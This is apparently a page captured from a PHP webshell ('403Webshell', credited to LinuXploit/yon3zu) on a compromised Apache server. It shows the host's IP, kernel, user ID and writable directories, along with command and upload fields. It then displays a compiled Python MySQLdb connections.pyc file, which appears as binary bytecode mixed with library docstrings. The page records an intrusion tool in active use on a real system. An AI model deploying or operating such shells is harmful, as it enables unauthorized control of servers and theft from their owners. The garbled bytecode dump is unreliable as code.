403Webshell
Server IP : 172.67.207.176  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux infong-es77 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u67207989 ( 1351568)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/MySQLdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/MySQLdb/__pycache__/connections.cpython-39.pyc
a

�1P]�/�@s�dZddlZddlZddlmZmZddlmZmZddl	m
Z
mZmZm
Z
mZmZmZmZmZmZe�d�Zdd�ZGd	d
�d
ej�ZdS)a
This module implements connections for MySQLdb. Presently there is
only one class: Connection. Others are unlikely. However, you might
want to make your own subclasses. In most cases, you will probably
override Connection.default_cursor with a non-standard Cursor class.
�N)�cursors�_mysql)�unicode�PY2)
�Warning�Error�InterfaceError�	DataError�
DatabaseError�OperationalError�IntegrityError�
InternalError�NotSupportedError�ProgrammingErrorz^(\d+)cCs t�|�}|rt|�d��SdS)z�Returns the leading numeric part of a string.

    >>> numeric_part("20-alpha")
    20
    >>> numeric_part("foo")
    >>> numeric_part("16b")
    16
    �N)�re_numeric_part�match�int�group)�s�m�r�5/usr/lib/python3/dist-packages/MySQLdb/connections.py�numeric_parts

rcs�eZdZdZejZ�fdd�Zdd�Zddd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�Zeejd�sldd�Z�fdd�Zdd�Zdd�ZeZeZeZeZeZeZeZeZeZeZ�Z S)�
Connectionz MySQL Database Connection Objectcs�ddlm}m}ddlm}m}ddlm}|��}d|vrJ|�	d�|d<d|vr`|�	d�|d<d	|vrr|d	}	n|}	i}
|	�
�D]6\}}t|t�r�t|t
�r�|d
d
�|
|<q�||
|<q�|
|d	<|�	d|j�}
|�dd
�}|s�ts�d}nd}|�	d|�}|�	dd
�}|�	dd�|_|�dd�}tdd�t���d�d
d�D��}|dk�rX||jO}|dk�rl||jO}||d<|�	dd�}tt|�j|i|��|
|_tdd�|	�
�D��|_t|jt<tdd�|���d�d
d�D��|_ d|_!||��d �fdd�	}|�s|�"�}|�#|�|�r(|�$|�|�rl|j%|j&|j'|j(|j)|j*|j+fD]}||j,|<�qNt-|j,|j.<||jt-<|j/|j0@|_1|j1�r�|d
u�r�|�2|�g|_3d
S)!a

        Create a connection to the database. It is strongly recommended
        that you only use keyword parameters. Consult the MySQL C API
        documentation for more information.

        :param str host:        host to connect
        :param str user:        user to connect as
        :param str password:    password to use
        :param str passwd:      alias of password, for backward compatibility
        :param str database:    database to use
        :param str db:          alias of database, for backward compatibility
        :param int port:        TCP/IP port to connect to
        :param str unix_socket: location of unix_socket to use
        :param dict conv:       conversion dictionary, see MySQLdb.converters
        :param int connect_timeout:
            number of seconds to wait before the connection attempt fails.

        :param bool compress:   if set, compression is enabled
        :param str named_pipe:  if set, a named pipe is used to connect (Windows only)
        :param str init_command:
            command which is run once the connection is created

        :param str read_default_file:
            file from which default client values are read

        :param str read_default_group:
            configuration group to use from the default file

        :param type cursorclass:
            class object, used to create cursors (keyword only)

        :param bool use_unicode:
            If True, text-like columns are returned as unicode objects
            using the connection's character set. Otherwise, text-like
            columns are returned as bytes. Unicode objects will always
            be encoded to the connection's character set regardless of
            this setting.
            Default to False on Python 2 and True on Python 3
            so that you can always get python `str` object by default.

        :param str charset:
            If supplied, the connection character set will be changed
            to this character set.
            On Python 2, this option changes default value of `use_unicode`
            option from False to True.

        :param str sql_mode:
            If supplied, the session SQL mode will be changed to this
            setting.
            For more details and legal values, see the MySQL documentation.

        :param int client_flag:
            flags to use or 0 (see MySQL docs or constants/CLIENTS.py)

        :param dict ssl:
            dictionary or mapping contains SSL connection parameters;
            see the MySQL documentation for more details
            (mysql_ssl_set()).  If this is set, and the client does not
            support SSL, NotSupportedError will be raised.

        :param bool local_infile:
            enables LOAD LOCAL INFILE; zero disables

        :param bool autocommit:
            If False (default), autocommit is disabled.
            If True, autocommit is enabled.
            If None, autocommit isn't set and server default is used.

        :param bool binary_prefix:
            If set, the '_binary' prefix will be used for raw byte query
            arguments (e.g. Binary). This is disabled by default.

        There are a number of undocumented, non-standard methods. See the
        documentation for the MySQL C API for some hints on what they do.
        r)�CLIENT�
FIELD_TYPE)�conversions�
_bytes_or_str)�proxyZdatabase�dbZpasswordZpasswd�convN�cursorclass�charset�TF�use_unicode�sql_modeZ
binary_prefix�client_flagcSsg|]}t|��qSr�r��.0�nrrr�
<listcomp>��z'Connection.__init__.<locals>.<listcomp>�.���r)�r�
autocommitcSs$g|]\}}t|�tur||f�qSr)�typer)r*�k�vrrrr,�s�cSsg|]}t|��qSrr(r)rrrr,�r-�asciics��|��j��S�N)�string_literal�encode�encoding)�uZdummy�r rr�unicode_literal�sz,Connection.__init__.<locals>.unicode_literal)N)4ZMySQLdb.constantsrrZMySQLdb.convertersrr�weakrefr�copy�pop�items�
isinstancer�list�default_cursor�getr�_binary_prefix�tuplerZget_client_info�splitZMULTI_STATEMENTSZ
MULTI_RESULTS�superr�__init__r"�dict�encoders�bytesZget_server_info�_server_versionr;�character_set_name�set_character_set�set_sql_mode�STRINGZ
VAR_STRINGZVARCHARZ	TINY_BLOBZMEDIUM_BLOBZ	LONG_BLOBZBLOBZ	converterrZJSONZserver_capabilitiesZTRANSACTIONSZ_transactionalr3Zmessages)�self�args�kwargsrrrrrZkwargs2r!Zconv2r5r6r"r#r%r&r'Zclient_versionr3r>�t��	__class__r=rrK*stL

$




&

�


zConnection.__init__cCs&t|�}|��|kr"tj�||�dSr8)�boolZget_autocommitr�
connectionr3)rTZonrrrr3�szConnection.autocommitNcCs|p|j|�S)z�
        Create a cursor on which queries may be performed. The
        optional cursorclass parameter is used to create the
        Cursor. By default, self.cursorclass=cursors.Cursor is
        used.
        )r")rTr"rrr�cursor�szConnection.cursorcCs$t|t�rt|�}tj�||�dSr8)rC�	bytearrayrNrr[�query)rTr^rrrr^�s
zConnection.querycCs.t|ttf�sJ�|�|�}|jr*d|S|S)Ns_binary)rCrNr]r9rG)rTZbs�xrrr�_bytes_literal�s

zConnection._bytes_literalcCsdd�t|j|��S)Ns(%s)�,)�join�map�literal)rTrWrrr�_tuple_literal�szConnection._tuple_literalcCs�t|t�r|�|�|j��}nzt|t�r4|�|�}ndt|t�rZtrN|�|�}q�|�|�}n>t|t	t
f�rt|�|�}n$|�||j
�}t|t�r�|�|j�}t|t�s�J�|S)aIf o is a single object, returns an SQL literal as a string.
        If o is a non-string sequence, the items of the sequence are
        converted and returned as a sequence.

        Non-standard. For internal use; do not use this in your
        applications.
        )rCrr9r:r;r]r`rNrrHrDre�escaperM)rT�orrrrrd�s



zConnection.literalcCs|�d�dS)ziExplicitly begin a connection.

        This method is not used when autocommit=False (default).
        sBEGINN)r^)rTrrr�beginszConnection.begin�
warning_countcCs$|��}|rt|��d�SdSdS)zpReturn the number of warnings generated from the
            last query. This is derived from the info() method.���rN)�inforrI)rTrkrrrriszConnection.warning_countcsx|dvrd}n|}|��|krnztt|��|�Wn:tyl|jdkrRtd��|�d|�|��Yn0||_	dS)z�Set the connection character set to charset. The character
        set can only be changed in MySQL-4.1 and newer. If you try
        to change the character set from the current value in an
        older version, NotSupportedError will be raised.)Zutf8mb4Zutf8mb3�utf8r0z server is too old to set charsetzSET NAMES %sN)
rPrJrrQ�AttributeErrorrOrr^�store_resultr;)rTr#Z
py_charsetrXrrrQs
zConnection.set_character_setcCs,|jdkrtd��|�d|�|��dS)zNSet the connection sql_mode. See MySQL documentation for
        legal values.r0z!server is too old to set sql_modezSET SESSION sql_mode='%s'N)rOrr^rn)rTr&rrrrR-s
zConnection.set_sql_modecCs.|jdkrdS|�d�|��}|�d�}|S)z�Return detailed information about warnings as a
        sequence of tuples of (Level, Code, Message). This
        is only supported in MySQL-4.1 and up. If your server
        is an earlier version, an empty sequence is returned.r0rz
SHOW WARNINGSr)rOr^rnZ	fetch_row)rT�r�warningsrrr�
show_warnings5s


zConnection.show_warnings)N)!�__name__�
__module__�__qualname__�__doc__rZCursorrErKr3r\r^r`rerdrh�hasattrrr[rirQrRrqrrrr
r	rrr
rr�
__classcell__rrrXrr%s4'
		r)ru�re�sysZMySQLdbrrZMySQLdb.compatrrZMySQLdb._exceptionsrrrr	r
rrr
rr�compilerrr[rrrrr�<module>s0


Youez - 2016 - github.com/yon3zu
LinuXploit